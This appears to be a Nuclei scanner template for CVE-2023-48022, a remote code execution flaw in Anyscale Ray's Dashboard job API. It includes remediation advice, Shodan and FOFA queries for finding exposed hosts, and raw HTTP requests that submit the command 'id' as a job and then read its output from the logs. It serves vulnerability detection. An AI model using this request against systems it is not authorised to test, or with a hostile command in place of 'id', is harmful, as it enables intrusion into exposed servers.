Description
Anyscale Ray 2.6.3 and 2.8.0 contain a remote code execution vulnerability due to insecure job submission API, allowing attackers to execute arbitrary code remotely if they have network access to the Ray Dashboard API.
Anyscale Ray 2.6.3 and 2.8.0 contain a remote code execution vulnerability due to insecure job submission API, allowing attackers to execute arbitrary code remotely if they have network access to the Ray Dashboard API.
id: CVE-2023-48022
info:
name: Anyscale Ray - Remote Code Execution
author: riteshs4hu
severity: critical
description: |
Anyscale Ray 2.6.3 and 2.8.0 contain a remote code execution vulnerability due to insecure job submission API, allowing attackers to execute arbitrary code remotely if they have network access to the Ray Dashboard API.
impact: |
Unauthenticated attackers with network access to the Ray Dashboard API can execute arbitrary code remotely as root, leading to complete system compromise.
remediation: |
Upgrade Anyscale Ray to version 2.6.4 or later, or version 2.8.1 or later, and restrict network access to the Ray Dashboard API.
reference:
- https://bishopfox.com/blog/ray-versions-2-6-3-2-8-0
- https://vulncheck.com/xdb/497d7fb3b118
- https://github.com/jakabakos/ShadowRay-RCE-PoC-CVE-2023-48022
- https://vulncheck.com/xdb/d3bafad9c9f6
- https://github.com/0x656565/CVE-2023-48022
- https://nvd.nist.gov/vuln/detail/cve-2023-48022
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-48022
cwe-id: CWE-78
epss-score: 0.83942
epss-percentile: 0.99677
metadata:
verified: true
max-request: 3
vendor: ray_project
product: ray
shodan-query:
- http.favicon.hash:463802404
- http.html:"ray dashboard"
fofa-query:
- icon_hash=463802404
- body="ray dashboard"
tags: cve,cve2023,rce,ray,anyscale,vkev,vuln
variables:
jobid: "Job_{{rand_base(6)}}"
http:
- raw:
- |
POST /api/jobs/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"entrypoint": "id",
"submission_id": "{{jobid}}"
}
- | # wait for 8 seconds before getting the logs
GET / HTTP/1.1
Host: {{Hostname}}
{{wait_for(8)}}
- |
GET /api/jobs/{{jobid}}/logs HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "logs\":")'
- 'contains(content_type, "application/json")'
- 'regex("uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)", body)'
condition: and
# digest: 4b0a0048304602210092f2650100ee581c8123e062d25c393c996f2c79057bcad311472486b3eb0617022100b6b4726104576c74e8fcb420ea4f430a570fc8de9a6e3cf81916ba4b8017c811:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.